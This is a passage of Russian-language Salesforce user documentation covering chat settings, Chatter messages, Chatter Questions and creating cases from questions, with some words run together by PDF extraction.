букв и знаков препинания.

Ниже перечислены доступные смайлики.

Введенные символыСмайлик

:-), :), :], =)

:-(, :(, :[, =(

:-D, :D, =D

:-O, :O, :-o, :o

:-P, :P, :-p, :p, =P

;-), ;)

Чтобы отключить поддержку смайликов, последовательно выберите «Чат» >  > «Параметры».

СМ. ТАКЖЕ:

Редактирование параметров чата

Отображение окон чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Благодаря возможности использования чата или списка чата в отдельном окне
обозревателя, общение может быть продолжено даже при свернутом обозревателе или
при наличии других приложений.

• Чтобы развернуть активный чат или полный список чата, щелкните значок в
верхнем правом углу.

• Чтобы свернуть развернутый чат или список чата в окно Salesforce, щелкните значок

в верхнем правом углу.

СМ. ТАКЖЕ:

Редактирование параметров чата
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Редактирование параметров чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы настроить параметры чата, щелкните значок в верхнем правом углу окна чата
и выберите пункт «Параметры».

Совет: Кроме того, значок позволяет быстро переключаться между списками
чата «Мое избранное», «Отслеживаемые люди» и «Неактивные люди». При
необходимости могут быть настроены параметры «Проигрывать звуки» и
«Показывать смайлики».

Общие параметры

ОписаниеПараметр

Если данныйфлажок установлен, то статус «Недоступен»
устанавливается автоматически по истечении указанного
времени бездействия приложения Salesforce.

Изменятьстатусна
«Недоступен»
после 15 мин.

Если данныйфлажок установлен, то вместо стандартных
текстовых смайликов (например, :-) или :-(), отображаются
картинки (например, или ).

Показывать
смайлики

Если данныйфлажок установлен, то временная отметка для
сообщений чата отображается только при наведении указателя

Показывать
временную
отметкутолькопри мыши на отдельное сообщение. Если данныйфлажок не
наведении установлен, то временная отметка отображается для каждого

сообщения чата и изменения статуса.указателямышина
сообщение

Звуки и уведомления

ОписаниеПараметр

Если данныйфлажок установлен, то звуковое уведомление проигрывается только при
получении первого сообщения чата.

Проигрывать звуковое
уведомление о получении
новых сообщений

Прим.: Звуковыеуведомленияпроигрываютсядля всех входящихсообщенийпри
свернутом или неактивном окне чата (например, при использовании нескольких
чатов, другого приложения или другой вкладки обозревателя).

Если данныйфлажок установлен, то при получении нового сообщения на вкладке
обозревателя отображается уведомление «Вас ожидают новые сообщения».

Показывать
предупреждение о
получении новых
сообщений на вкладке
обозревателя

Список чата

Выберите группу пользователей для отображения в списке чата.

• Мое избранное
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• Отслеживаемые люди

• Показывать неактивных людей

СМ. ТАКЖЕ:

Добавление смайликов в чат

Изменение статуса в чате

Можно ли изменить звуковые уведомления чата?
Чтобы изменить параметры звуковых уведомлений, щелкните «Чат» >  > «Параметры» и выберите «Звуки и
уведомления».

СМ. ТАКЖЕ:

Редактирование параметров чата

Личные сообщения

Сообщения Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Сообщения Chatter позволяют пользователям Chatter обмениваться друг с другом
конфиденциальной информацией.Например, сообщение может быть отправлено
менеджеру по личному вопросу или нескольким выбраннымпользователям, имеющим
отношение к определенной теме. Кроме того, сообщения позволяют уведомлять
пользователей о предоставлении им общего доступа к файлу.

Сообщения не отображаются в ленте и профиле текущего пользователя, в результатах
глобального поиска, а также в любой другой общедоступной области Chatter.

Чтобы просмотреть сообщения, щелкните ссылку «Сообщения» на вкладке Chatter. На
странице «Мои сообщения» можно выполнить указанные ниже действия.

• Просмотреть самое последнее сообщение в каждом диалоге. Самое последнее
сообщение отображается вверху списка.

• Просмотреть фотографию пользователя, отправившего самое последнее сообщение в диалоге.

• Узнать о наличии непрочитанных сообщений ( ).

• Узнать, является ли ответ, отправленный текущим пользователем, последним ( ) в диалоге.

• Просмотреть всю историю сообщений в рамках конкретного диалога.

• Отправить сообщение с помощью кнопки «Создать сообщение».

Сообщения группируются в диалоги. Для каждого диалога определяются конкретные участники. Например, текущий
пользовательотправляет сообщениеАлексеюСмирнову. Отправленныйимответпродолжаетприватныйдиалог. Каждое
новое сообщение, отправляемое Алексею Смирнову, также продолжает начатый диалог, даже в случае изменения темы
для обсуждения. Со временем все отправленные и полученные сообщения группируются в длинную цепочку. Если
сообщение отправляется сразу двум пользователям (Алексею Смирнову иМарии Петровой), то оно является частью
отдельногодиалогамеждуАлексеем, Мариейитекущимпользователем. Соответственно, ответ, отправленныйАлексеем,
продолжает этот отдельный диалог, а не приватный диалог, существующий между ним и текущим пользователем.

Ниже приведены рекомендации по работе с сообщениями Chatter.
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• Сообщение может быть отправлено любому пользователю организации Chatter. независимо от его участия в группе,
а также адресата данного сообщения — будь то отслеживаемый пользователь, отслеживающий пользователь или
клиент.

• Сообщение может быть отправлено одному пользователю или группе, состоящей максимум из 10 пользователей,
включая отправителя сообщения.Нельзя отправлять сообщения самому себе.

• Участники диалога определяются при отправке первого сообщения в данном диалоге. После отправки первого
сообщения нельзя добавить или удалить пользователей из диалога.

• По мере получения новых сообщений меняется количество, указанное рядом со ссылкой «Настройка» на вкладке
Chatter. Пользователи, включившие поддержку электронных уведомлений Chatter, также получат автоматическое
уведомление о новом сообщении.

• Сообщения и диалоги недоступны для удаления.

• Чтобыпометитьдиалог, сообщениякоторогобылипрочитаны, вкачественепрочитанного, рекомендуемиспользовать
только интерфейс Chatter REST API, а не интерфейс пользователя.

СМ. ТАКЖЕ:

Что такое чат?

Поиск сообщений Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ЧтобынайтинужногопользователяилитекствсообщенияхChatter, выполнитеуказанные
ниже действия.

1. Введите поисковый запрос в поле поиска на странице «Мои сообщения». Обратите
внимание на указанные ниже рекомендации по поиску.

• При просмотре списка диалогов поиск выполняется по всем диалогам. При
просмотре отдельного диалога поиск выполняется только по данному диалогу.

• В результате поиска по имени пользователя (например, «Иван Петров»)
отображаютсядиалоги, вкоторыхонучаствуетиупоминается.Врезультатепоиска
пособственномуимениотображаются все сообщенияидиалоги, так как текущий
пользователь участвует в них всех.

• В результате поиска по запросу «иван пет» отображаются записи, содержащие
фразы «Иван Петров» и «Иван Петухов». Система salesforce.com выполняет автоматический поиск записей,
начинающихся с элемента «иван пет»  (по аналогии с использованием символа «*», например, «иван пет*»).

• В результате поиска по запросу «клиент» найденные совпадения отображаются в тексте сообщений. Однако в
результатахнеотображаютсяпользователи, которыеопределенывкачестве клиентов в списке участниковдиалога.

2. Нажмите кнопку «Поиск».

3. Ниже перечислены действия, доступные на странице результатов поиска.

• Чтобыуточнитьобластьпоиска, введитедополнительныекритериииливоспользуйтесьспециальнымисимволами
и операторами.

• Чтобы просмотреть весь диалог (если изначально поиск выполнялся по всем диалогам), щелкните нужное
сообщение.

Если в результате поиска найдены нужные имена в списке участников диалога, а сам диалог подразумевает участие
большогоколичествапользователей, тоискомоеимяможетнеотображаться, таккакв спискеучастниковотображаются
имена не всех пользователей. Другими словами, в результатах поиска будет отображаться диалог, а выделенное имя
нужного пользователя может быть скрыто.
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Чтобы очистить критерии поиска, щелкните значок . Очистка критериев поиска выполняется автоматически в том
случае, если пользователь вводит ответ, отправляет новое сообщение или закрывает страницу «Мои сообщения».

СМ. ТАКЖЕ:

Предоставление пользователям общего доступа к файлам в Salesforce Classic

Отправка сообщений Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Сеть Chatter поддерживает отправку личных сообщений.

Чтобы отправить сообщение Chatter, выполните указанные ниже действия.

1. Ниже перечислены области, позволяющие создавать сообщения.

• Щелкните ссылку «Сообщения» на вкладке Chatter, а затем нажмите кнопку
«Создать сообщение» на странице «Мои сообщения».

• Выберите имя нужного пользователя в любой области Chatter, а затемщелкните
ссылку «Отправить сообщение» в открывшемся профиле.

• Щелкнитессылку«Отправитьсообщение»вокне, всплывающемпринаведении
указателя мыши на имя пользователя.

• Введите ответ в текстовую область, расположенную под самым последним
сообщением на странице просмотра истории сообщений.

• Отправьте электронный ответ при просмотре электронного уведомления о получении нового сообщения (если
включена функция отправки электронных ответов в Chatter).

Кроме того, чтобы отправить сообщение Chatter, можно также предоставить пользователям общий доступ к файлу.
В случае предоставления общего доступа к файлу пользователям автоматически отправляется сообщение о том, что
имбылпредоставленобщийдоступкфайлу. Этосообщениеможетсодержатьлюбуюдополнительнуюинформацию.

2. Если при этом отображается диалоговое окно «Отправить сообщение», то можете добавить в список получателей
именадругихпользователей. Начните вводитьимя вполе «Кому», а затемвыберитенужноеимяиз спискарезультатов.
Чтобы добавить других пользователей, введите их имена.

Если ответ отправляется посредством диалога или эл. почты, то пользователь не может изменить состав участников
данного диалога.

3. Введите сообщение. Сообщение может содержать не более 10 000 символов.

4. Чтобыотправить сообщение, выполнитеодноиз указанныхнижедействий (в зависимостиотиспользуемого способа
отправки).

• В диалоговом окне «Отправить сообщение» нажмите кнопку «Отправить».

• Если ответ отправляется припросмотре всей цепочки сообщений, нажмите кнопку «Ответить» (или «Ответить
всем», если в диалоге участвуют несколько пользователей).

• Если ответ отправляется посредством эл. почты, нажмите кнопку «Отправить» в почтовом приложении.

Еслиотправленное сообщение являетсяпродолжениемтекущегодиалога, тоонодобавляется в соответствующийдиалог
и отображается вверху списка на странице «Мои сообщения». Если отправленное сообщение является началом нового
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диалога между текущимпользователеми определеннымиполучателями, то оно отображается вверху списка на странице
«Мои сообщения» в качестве нового диалога.

СМ. ТАКЖЕ:

Отправка ответов на электронные уведомления Chatter

Вопросы Chatter

Вопросы Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

Дополните сообществодля самообслуживанияпутемвнедрениявнутреннейивнешней
занятости сообщества посредством вопросов Chatter.

Функция «Вопросы Chatter» позволяет пользователям задавать вопросы в собственных
лентах Chatter, группахи записяхпутемвыбора действия «Вопрос»израскрывающегося
менюпубликатора Chatter. Лучшийответвыбираетсяавторомилимодераторомзаданного
вопроса. Лучший ответ отображается на самом видном месте, благодаря чему другие
пользователи могут быстро находить нужную им информацию.

Помимо заголовка, пользователи могут вводить сведения о задаваемом вопросе.
Аналогичнодругимэлементамленты Chatter, доступк вопросуможетбытьпредоставлен
отслеживающим, группе или конкретному пользователю.

Чтобывключитьфункцию «Вопросы Chatter» ворганизации, добавьтедействие «Вопрос» в глобальныймакетпубликатора.
Организациям, созданным после выпуска Summer'14, действие «Вопрос» доступно по умолчанию, но должно быть
перенесено как можно левее. При использовании настроенного макета публикатора в группах или записях убедитесь,
что действие «Вопрос» также добавлено в данные макеты.
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Приложение Chatter Desktop не поддерживает функцию «Вопросы Chatter».

СМ. ТАКЖЕ:

Выбор лучшего ответа на вопрос в Chatter

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах

Вопросы Chatter. Вопросы и ответы

Отображение похожих вопросов и статей в Chatter

ВЕРСИИ

Доступно в: Salesforce
Classic.

Функция «ВопросыChatter»
доступна в версиях: Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

Пользователи могут задавать похожие вопросы. Функция «Вопросы Chatter»,
отображающая похожие вопросы и соответствующие статьи Salesforce Knowledge при
вводе вопроса в Chatter, позволяет минимизировать повторяющееся содержимое в
организации Salesforce и любом сообществе с поддержкой Chatter.

Прим.:

• Сообщества с поддержкой Chatter — это сообщества, созданные на основе
шаблона «Вкладки Salesforce + Visualforce».

• Функциипоиска«Похожиевопросы»и «Похожиестатьи»такжеподдерживаются
сообществами, созданными на основе шаблона Napili. Дополнительную
информациюсм. вразделе «Отображениепохожихвопросовистатейвпоиске
Napili».

• Функции «Похожие вопросы» и «Похожие статьи» не поддерживаются
приложением Salesforce1 и мобильными обозревателями.

При вводе вопроса в Chatter похожие вопросы автоматически отображаются в раскрывающемся списке под полем
заголовка вопроса. Для отображения соответствующих статей базы знаний вместе с похожими вопросами рекомендуем
включить функцию «Похожие статьи».

• 1. Значки закладок и вопросительных знаков соответствуют типу результата поиска: статья или вопрос.

• 2. Результаты поиска по вопросам отображают заголовок вопроса, количество ответов и зеленыйфлажок с текстом
«Отвечено» при наличии лучшего ответа.

Пользователямотображаетсянеболее 10 результатов в раскрывающемся списке; вопросыотображаютсяперед статьями.
Система Salesforce отображает равное количество вопросов и статей, но может отображать дополнительные результаты
другого типа при недостаточном количестве результатов одного типа. При отсутствии заголовка вопроса или статьи,
соответствующего введенному тексту, раскрывающийся список не отображается.

Содержимое раскрывающегося списка определяется наличием текста, введенного пользователем, в заголовке вопроса
или статьи. Поиск учитывает частично совпадающиеинесмежные критерии; например, результатыпоискапо критерию
«лучший рюкзак» могут содержать вопрос «Какой рюкзак является лучшим для однодневных экскурсий?», а результаты
поиска по критерию «рюкзак» могут содержать статью «Рекомендации по пешему туризму».

Чтобы выполнить более подробный поиск, который также охватывает описания вопросов и тексты статей, нажмите
клавишу TAB илищелкните за пределами поля заголовка. Данное действие инициирует отображение отдельного
раскрывающегося списка результатов под публикатором вопроса.

При отсутствии нужных результатов нажмите кнопку «Задать вопрос» для публикации вопроса.

СМ. ТАКЖЕ:

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах
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Отображение похожих вопросов и статей в поиске Napili

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователисообществамогут задаватьпохожиевопросы. Функция «ВопросыChatter»,
отображающая похожие вопросы и соответствующие статьи Salesforce Knowledge при
вводе вопроса в поле поиска, позволяет минимизировать повторяющееся содержимое
в сообществах для самообслуживания, созданных на основе шаблона Napili.

Прим.: Функции «Похожие вопросы»и «Похожие статьи» такжеподдерживаются
внутренними организациями Salesforce, использующими Chatter, и сообществами,
созданныминаосновешаблона «Вкладки Salesforce + Visualforce». Дополнительную
информацию см. в разделе «Отображение похожих вопросов и статей в Chatter».

При вводе вопроса в поле поиска сообщества, созданного на основе шаблона Napili,
похожиевопросыистатьибазызнанийавтоматическиотображаютсявраскрывающемся
списке под полем. Раскрывающийся список содержит две вкладки: «Статьи» и
«Вопросы». Для отображения вкладки «Все», содержащей комбинированные результаты, рекомендуем включить
функцию «Похожие статьи».

По умолчанию каждая вкладка отображает не болеешести результатов. Вкладка «Все» отображает совпадающие статьи
и вопросы; статьи отображаются первыми. Данная вкладка отображает равное количество вопросов и статей, но может
отображать дополнительные результаты другого типа при недостаточном количестве результатов одного типа. Чтобы
просмотретьрезультатыопределенноготипа, воспользуйтесьвкладками«Статьи»и«Вопросы». Привозвратерезультатов
только одного типа (например, вопросы) пользователям все равно отображаются все вкладки.

Прим.: Пользователи сообщества могут просматривать похожие статьи только после включения поддержки базы
знаний в сообществе и получения соответствующего доступа.

3317

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



• 1.Вкладки «Статьи»и «Вопросы»позволяютпользователямпросматриватьрезультатыкаждого типа. Пользователи
могут использовать кнопки «Вверх» и «Вниз» дляперемещенияпорезультатамна любой вкладке. Выбор вопросаили
статьи в раскрывающемся списке инициирует открытие соответствующей страницы сведений.

• 2. Значки текста и чатов соответствуют типу результата поиска: статья или вопрос.

• 3.Вопросыв спискеотображаютколичествоответови зеленуюгалочку с текстом «Лучший ответ» приегоналичии.

• 4. Содержимое раскрывающегося списка определяется наличием текста, введенного пользователем, в заголовке
вопроса или статьи. При выполнении полного поиска путем нажатия кнопки «Поиск» механизм поиска также
охватывает описания вопросов и тексты статей.

При необходимости настройте параметры поиска путем редактирования свойств компонента «Публикатор поиска» в
конструкторе сообществ. Дополнительные сведения см. в разделе «Использованиешаблонов для создания сообществ».

СМ. ТАКЖЕ:

Включение функции «Похожие статьи» для функции «Вопросы Chatter»

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах

Общие сведения о функции создания обращения из вопроса

Включение функции «Похожие статьи» для функции «Вопросы Chatter»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Функция «Вопросы Chatter»
доступна в версиях:
Personal Edition, Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Похожие статьи» для
функции «Вопросы
Chatter»:
• «Настройка

приложения»

ПрииспользованииChatterпохожиевопросыотображаютсяпомеревводапубликуемого
вопроса. Для отображения соответствующих статей Salesforce Knowledge вместе с
вопросами рекомендуем включить функцию «Похожие статьи».

Прим.: Организация должна поддерживать Chatter и Salesforce Knowledge.

Включение функции «Похожие статьи» инициирует ее включение в:

• Внутренней организации Salesforce

• Сообщества, созданные с помощью вкладок Salesforce ишаблона Visualforce или
«Napili»

1. Введите строку «Параметры базы знаний» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Параметры базы знаний».

2. Установитефлажок «Показать применимые статьи при публикации вопросов
в Chatter (также применяется к сообществам с Chatter)» в разделе «Параметры
вопросов Chatter».

Прим.: Убедитесь, что действие «Вопрос» было добавлено в нужные макеты
страниц. В противном случае, оно будет не доступно для пользователя.

Дополнительную информацию об использованиифункций «Похожие статьи» и
«Похожие вопросы» см. в разделах ниже.

• Отображение похожих вопросов и статей в Chatter

• Отображение похожих вопросов и статей в поиске Napili

СМ. ТАКЖЕ:

Отображение похожих вопросов и статей в поиске Napili

Общие сведения о функции создания обращения из вопроса
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Выбор лучшего ответа на вопрос в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Вопросы Chatter»
доступна в версиях: Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

При публикации вопроса в Chatter пользователи могут выбирать лучший ответ. Ответ
на вопрос, выбранныйв качествелучшего, позволяетпользователямбыстреепринимать
решения по собственным вопросам.

Модераторы и авторы вопросов могут:

• выбирать лучшие ответы;

• удалять статус лучшего ответа.

Только один ответ может быть выбран в качестве лучшего. Роль модератора вопроса
может бытьназначенамодераторуChatter, модератору сообществаили администратору
Salesforce. Ссылка «Выбратьвкачествелучшего»отображается пользователям только
при наличии соответствующего полномочия.

Ответ, выбранный в качестве лучшего, помечается галочкой ( ). Копия лучшего ответа отображается вверху списка
ответов, поэтому другие пользователи могут быстро найти ее.
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СМ. ТАКЖЕ:

Отображение похожих вопросов и статей в Chatter

Вопросы Chatter. Вопросы и ответы
Функция «Вопросы Chatter» позволяет пользователям сообществ и системы Salesforce задавать вопросы в лентах. Ниже
перечислены некоторые типичные вопросы по использованию данной функции.

Чемфункция«Вопросы Chatter»отличаетсяотпубликациивопросапосредствомтекстовогосообщенияChatter?
Пользователи, публикующие вопросы в Chatter, могут экономить свое рабочее время. По мере ввода собственного
вопроса пользователям отображаются похожие вопросы и статьи. Возможно, данный вопрос уже задавался другим
пользователем и содержал большое количество ответов или лучший ответ. Функция «Вопросы Chatter» использует
ресурсы текущего содержимого Chatter.

Можно лифильтровать ленту Chatter для отображения только вопросов?

Да. Нажмите кнопку напротив параметра «Показать» вверху ленты Chatter и выберите пункт «Вопросы».

Можно ли выполнять поиск по вопросам в Chatter?

Да. Воспользуйтесь кнопкой «Поиск по данной ленте» ( ) вверху ленты Chatter. Вопросы добавляются в результаты
поиска по лентам.

3320

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



Поддерживается лифункция «Вопросы Chatter» приложением Salesforce1?
В настоящее время функция «Вопросы Chatter» поддерживается только мобильным веб-приложением Salesforce1.

Что происходит при публикации вопроса?
Заданный вопрос отображается в ленте Chatter отслеживающих, группы или отдельного пользователя. Кроме того,
группе или отдельному пользователю отправляется электронное уведомление. Ответы на заданный вопрос могут
публиковаться другими пользователями прямо в Chatter.

Кто может выбирать лучший ответ на вопрос?
Лучший ответ на вопрос может быть выбран автором вопроса или модератором. Роль модератора вопроса может
быть назначена модератору Chatter или модератору сообщества. Кроме того, лучший ответ на вопрос может быть
выбран администратором Salesforce. Дополнительныесведения см. вразделеВыборлучшегоответана вопрос вChatter

Можно ли отслеживать использованиефункции «Вопросы Chatter» в своей организации Salesforce?
Да. Дополнительныесведениясм. вразделеОтслеживаниепоказателейиспользованиявопросов Chatter ворганизации
Salesforce и сообществах.

СМ. ТАКЖЕ:

Отображение похожих вопросов и статей в Chatter

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах

Отслеживание показателей использования вопросов Chatter в организации Salesforce и сообществах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Вопросы Chatter»
доступна в версиях: Group
Edition, Professional
Edition, Developer Edition,
Performance Edition,
Enterprise Edition и
Unlimited Edition.

Благодаря готовым отчетам и панелям мониторинга пользователи могут отслеживать
показатели использования и внедренияфункции «Вопросы Chatter» в организации или
сообществе.

Отчеты, составленные по функции «Вопросы Chatter», позволяют получать ответы на
указанные ниже вопросы.

• Какие типы вопросов задаются пользователями?

• Сколько вопросов задано за последний месяц?

• Какой процент вопросов остается без ответа?

• По каким темам задается наибольшее количество вопросов?

• Какие отделы задают наибольшее количество вопросов?

Чтобыконтролироватьиспользованиефункции «Вопросы Chatter» в организации Salesforce,
загрузите пакет Salesforce Chatter Dashboardsиз каталога AppExchange. Прежде чемначать
работу, просмотрите раздел Отчеты по использованию пакета Chatter Dashboards.

Чтобы контролировать использование функции «Вопросы Chatter» в сообществах, загрузите пакет Salesforce Communities
Dashboards (для сообществ, использующих Chatter) из каталога AppExchange. Прежде чем начать работу, просмотрите
раздел Отчеты для сообществ, использующих пакет Dashboards и Insight на странице 3600.

СМ. ТАКЖЕ:

Создание обращения из вопроса в Chatter
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Различия между функциями публикации вопросов и ответов в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функции «Ответы» и Chatter
Answers доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Вопросы Chatter»
доступна в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система Salesforce поддерживаетнесколькофункцийдляпубликациивопросовиответов,
которые могут использоваться в организациях и сообществах Salesforce. Несмотря на
использование похожей терминологии, данные функции отличаются друг от друга.

Система Salesforce поддерживаеттрифункции, позволяющиепользователямпубликовать
вопросы и ответы на общедоступных форумах. Все три функции для публикации
вопросовиответовимеютобщуюцель, ноихвнедрениевсистему Salesforce выполнялось
в разное время.

Способ доступаСтруктураОписаниеФункция

Данная функция
доступна
внутренним
пользователям
посредством
вкладки «Ответы» в
системе Salesforce.

Данная функция
разработана на
основе
стандартного
объекта «Вопрос».

Функция
«Ответы» — это
первая функция
Salesforce,
внедренная в
выпуске Winter'11
для публикации
вопросов и ответов
в сообществах.
Начиная с выпуска

Версия 1: Ответы

Summer'13 данная
функция
недоступна новым
организациям.

Данная функция
доступна

Данная функция
разработана на

Функция Chatter
Answers, внедренная

Версия 2: Chatter
Answers

внутреннимосновев выпуске Spring'12,
пользователямстандартного

объекта «Вопрос».
предоставляет
клиентам,
использующим

посредством
вкладки «Вопрос и

функцию «Ответы», ответ»; список
различные вопросов может
дополнительные
возможности.

Благодаряфункции
Chatter Answers,

просматриваться
модераторами на
вкладке«Вопросы».

компании могут
содержать готовый
сайт по
самообслуживанию,
позволяющий
пользователям
отвечать на чужие
вопросы, а также
просматривать
вопросы
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Способ доступаСтруктураОписаниеФункция

пользователей в виде ленты.

Данная функция доступна
внутренним пользователям

Данная функция
разработана на основе

Функция «Вопросы Chatter»,
внедренная в выпуске

Версия 3: Вопросы Chatter

посредством Chatter. Вопросмодели данных Chatter, аWinter'15, дополняет
публикуется посредствомтакже использует объектыдоступные ранее функции
действия «Вопрос»«Сообщение ленты» и

«Комментарий ленты».
Salesforce новыми
разработками. Благодаря
возможностям встраивания

публикатора Chatter; все
вопросы отображаются в
ленте Chatter.в Chatter, данная функция

позволяет клиентам
публиковать вопросы и
ответы прямо в Chatter.

Функция «Вопросы Chatter»
поддерживается
организациями Salesforce и
мобильным
веб-приложением Salesforce1,
а также некоторыми
сообществами.

СМ. ТАКЖЕ:

Вопросы Chatter

Использование вкладки «Вопрос и ответ» компонента Chatter Answers

Общие сведения об ответах

Общие сведения о функции создания обращения из вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция создания обращения из вопроса позволяет модераторам использовать Chatter
длясозданияобращенийизвопросов, гарантируяболееудобноеотслеживаниеирешение
проблем клиентов. Данная функция поддерживается полной версией Salesforce и
мобильным веб-приложением Salesforce1, а также сообществами, использующими
функцию «Вопросы Chatter».

При публикации вопроса посредством действия «Вопрос» под публикатором Chatter
отображаютсяпохожие вопросыи статьибазы знаний. Еслипохожие вопросыи статьи
не позволяют решить проблему, то публикация вопроса продолжается.

Вопрос, оставшийся без решения, может быть расширен до обращения. При наличии
полномочия «Модерирование Chatter» или «Модерирование лент сообществ»
пользователимогут создавать обращенияиз вопросовпрямо в ленте. Процесс создания
обращений из вопросов, соответствующих заданным критериям, может быть
автоматизирован посредством конструктора процессов Lightning, позволяющего настраивать процессы, аналогичные
бизнес-правилам. Обращения, созданные из вопросов, добавляются в очередь, где доступны агентам службы поддержки
для рассмотрения.
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Клиенту, вопроскоторогорасширяетсядообращения, отправляется сообщениеэл. почты, содержащееномеробращения
иссылкунаобращение. Клиентможетпросмотретьобращениепосредствомдоступнойтолько ему ссылки; модераторам
отображается примечание, указывающее на создание обращения.

Прим.: Обращение может просматриваться автором вопроса только при наличии доступа к обращениям.

Указатель для модераторов

Указатель для клиентов

Прим.: При расширении вопросов в системе Salesforce — в отличие от сообществ — уведомление отображается
всем пользователям, а не только модераторам.

Найденноерешениеможетбытьопубликованоагентомпрямонаконсоли; ответ агентаможетбытьпросмотренклиентом
в вопросе или представлении «Мои обращения». Доступность ответа всему сообществу или только автору вопроса
определяется агентом.
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Прежде чем начать работу, просмотрите раздел «Настройка функции создания обращения из вопроса».

СМ. ТАКЖЕ:

Создание обращения из вопроса в Chatter

Автоматическое создание обращений из нерешенных вопросов в Chatter

Настройка функции создания обращения из вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Добавьте функцию создания обращения из вопроса в сообщества или организацию
Salesforce, либо одновременно.

Функция создания обращения из вопроса позволяет модераторам использовать Chatter
для создания обращений из нерешенных вопросов, гарантируя более удобное
отслеживание и решение проблем клиентов. Модераторы могут создавать обращения
извопросовпрямовленте. Процесссозданияобращенийизвопросов, соответствующих
заданнымкритериям, можетбытьавтоматизированпосредствомконструкторапроцессов
Lightning, позволяющего настраивать процессы, аналогичные бизнес-правилам.
Обращения, созданныеизвопросов, добавляютсявочередь, гдедоступныагентамслужбы
поддержки для рассмотрения.
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Функция создания обращения из вопроса поддерживается только сообществами, использующимифункцию «Вопросы
Chatter».

1. Включение функции создания обращения из вопроса
Функция создания обращения из вопроса позволяет модераторам использовать Chatter для создания обращений из
вопросов, гарантируя быстрое решение вопросов клиентов. Включите функцию создания обращения из вопроса в
сообществах или организации Salesforce, либо одновременно.

2. Добавление поля «Вопрос из Chatter» в подробное представление обращения
При создании обращения из вопроса в Chatter поле «Вопрос из Chatter» страницы сведений об обращении
отображает ссылку на исходный вопрос. Данное поле позволяет агентам быстро открывать ленту.

3. Добавление действия «Расширить до обращения» в макет элемента ленты
Чтобы разрешить модераторам создание обращений из вопросов, добавьте действие «Расширить до обращения» на
страницывопросов Chatter. Данноедействие создается автоматическипривключениифункциисозданияобращения
из вопроса в организации.

4. Подтверждение доступа к действию «Расширить до обращения»

Еслиорганизацияиспользуетнесколько типов записейдляобращений, убедитесь, чтопрофилям, которымтребуется
функция создания обращения из вопроса, доступен тип записи, связанный с действием «Расширить до обращения».
Если организация использует только один тип записи для обращений, пропустите данный процесс.

5. Настройка макета действия «Расширить до обращения»

Выберитеполяиопределитепорядокихотображениядлядействия «Расширитьдообращения» наосновеинформации,
которая должна отслеживаться для каждого обращения.

6. Автоматическое назначение обращений из вопросов очередям
Функция создания обращения из вопроса не поддерживает правила назначения обращений, поэтому обращение,
созданноеиз вопроса, поумолчаниюназначаетсямодератору, расширяющемувопрос. Принеобходимостисоздайте
бизнес-правило или процесс, который автоматически добавляет обращения, созданные из вопросов, в очередь, где
они доступны агентам для рассмотрения.

7. Автоматическое создание обращений из нерешенных вопросов в Chatter

Расширение сообщества или организации не должно препятствовать быстрому получению ответов на заданные
вопросы. Функция создания обращения из вопроса позволяет модераторам расширять нерешенные вопросы до
обращений прямо в ленте. Кроме того, система поддерживает конструктор процессов Lightning, позволяющий
настраивать более эффективные процессы принятия решения, аналогичные бизнес-правилам. Настройте процесс,
который автоматически создает обращения из вопросов, соответствующих заданным критериям.

СМ. ТАКЖЕ:

Включение функции создания обращения из вопроса
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Включение функции создания обращения из вопроса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
создания обращения из
вопроса:
• «Настройка

приложения»

Функция создания обращения из вопроса позволяет модераторам использовать Chatter
длясозданияобращенийизвопросов, гарантируябыстроерешениевопросовклиентов.
Включите функцию создания обращения из вопроса в сообществах или организации
